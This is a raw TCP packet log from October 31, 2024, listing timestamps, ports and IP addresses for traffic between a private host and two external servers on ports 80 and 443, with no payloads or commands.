Oct 31, 2024 20:52:31.671633005 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.671653032 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.671714067 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.671726942 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.671737909 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.671756029 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.671775103 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.736427069 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.736438990 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.736449957 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.736462116 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.736474037 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.736485004 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.736498117 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.736498117 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.736530066 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.736552954 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.737056017 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.737066031 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.737104893 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.737215996 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.737229109 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.737238884 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.737262964 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.737288952 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.737642050 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.737653017 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.737663984 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.737688065 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.737713099 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.737950087 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.737962008 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.737972021 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.738003969 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.738032103 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.787334919 CET	49765	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.787360907 CET	443	49765	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.787456989 CET	49765	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.788199902 CET	49765	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.788213015 CET	443	49765	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.788726091 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.788748026 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.788758993 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.788786888 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.788809061 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.788810015 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.788821936 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.788849115 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.788875103 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.841573000 CET	49757	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.841595888 CET	443	49757	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.853296041 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.853310108 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.853319883 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.853355885 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.853380919 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.853404999 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.853414059 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.853446960 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.853602886 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.853621960 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.853652954 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.853662968 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.853679895 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.853692055 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.853702068 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.853724003 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.853749990 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.853965044 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.853975058 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.854017019 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.854084969 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.854131937 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.854145050 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.854156971 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.854171991 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.854186058 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.854204893 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.854212999 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.862709045 CET	443	49760	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.862787962 CET	49760	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.864064932 CET	49760	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.864070892 CET	443	49760	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.864288092 CET	443	49760	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.865536928 CET	49760	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.865550995 CET	49760	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.865588903 CET	443	49760	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.906007051 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.906054974 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.906065941 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.906066895 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.906096935 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.906099081 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.906121969 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.906136036 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.906153917 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.906162024 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.906173944 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.906178951 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.906234980 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.969899893 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.969913960 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.969921112 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.969927073 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.969979048 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.970062017 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.970073938 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.970084906 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.970107079 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.970124006 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.970132113 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.970163107 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.970473051 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.970499039 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.970509052 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.970523119 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.970551014 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.970858097 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.970876932 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.970904112 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.970928907 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.970928907 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.970969915 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.971004009 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.971040010 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.971062899 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.971100092 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.971118927 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.971129894 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.971154928 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.971167088 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.036606073 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.036663055 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.036863089 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.036874056 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.036885977 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.036896944 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.036909103 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.036942959 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.064645052 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.064692020 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.064702034 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.064768076 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.086977005 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.086988926 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.087017059 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.087030888 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.087075949 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.087104082 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.087160110 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.087194920 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.087203979 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.087310076 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.087327003 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.087338924 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.087347984 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.087348938 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.087367058 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.087394953 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.087693930 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.087744951 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.087771893 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.087794065 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.087817907 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.088167906 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.088238955 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.088275909 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.088275909 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.088340998 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.088351965 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.088361979 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.088382006 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.088396072 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.140367985 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.140404940 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.140415907 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.140427113 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.140467882 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.140502930 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.154032946 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.154046059 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.154056072 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.154084921 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.154114008 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.182147026 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.182159901 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.182169914 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.182199955 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.182229042 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.204297066 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.204356909 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.204375029 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.204401970 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.204410076 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.204463005 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.204473972 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.204503059 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.204528093 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.204622030 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.204669952 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.204670906 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.204684973 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.204696894 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.204725027 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.204751015 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.205204964 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.205216885 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.205226898 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.205246925 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.205277920 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.205696106 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.205708027 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.205718994 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.205734968 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.205745935 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.205751896 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.205759048 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.205770969 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.205796003 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.205807924 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.205816984 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.205827951 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.205866098 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.205879927 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.257642031 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.257664919 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.257675886 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.257690907 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.257707119 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.257729053 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.271259069 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.271277905 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.271289110 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.271308899 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.271339893 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.299158096 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.299180031 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.299189091 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.299211025 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.299237013 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.321815014 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.321847916 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.321857929 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.321875095 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.321890116 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.321899891 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.321913004 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.321943998 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.322063923 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.322098017 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.322125912 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.322138071 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.322148085 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.322169065 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.322190046 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.322593927 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.322606087 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.322612047 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.322648048 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.322664976 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.322995901 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.323024988 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.323035955 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.323046923 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.323064089 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.323086977 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.323092937 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.323100090 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.323127031 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.323144913 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.323316097 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.323329926 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.323339939 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.323352098 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.323365927 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.374903917 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.374919891 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.374932051 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.374990940 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.388360023 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.388390064 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.388451099 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.388539076 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.388585091 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.388588905 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.389807940 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.417174101 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.417186022 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.417196035 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.417241096 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.417260885 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.418538094 CET	443	49765	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:32.418610096 CET	49765	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:32.420453072 CET	49765	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:32.420461893 CET	443	49765	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:32.420789957 CET	443	49765	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:32.422043085 CET	49765	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:32.422188044 CET	49765	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:32.422218084 CET	443	49765	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:32.438918114 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.438973904 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.438981056 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.438992023 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.439003944 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.439014912 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.439039946 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.439074039 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.439229965 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.439239979 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.439282894 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.439372063 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.439383984 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.439393997 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.439429998 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.439446926 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.439778090 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.439790010 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.439800024 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.439817905 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.439831018 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.440005064 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.440025091 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.440035105 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.440062046 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.440080881 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.440152884 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.440202951 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.440223932 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.440278053 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.440288067 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.440359116 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.440393925 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.440428019 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.440481901 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.440494061 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.440504074 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.440530062 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.440550089 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.440823078 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.440839052 CET	80	49756	185.215.113.16	192.168.2.4
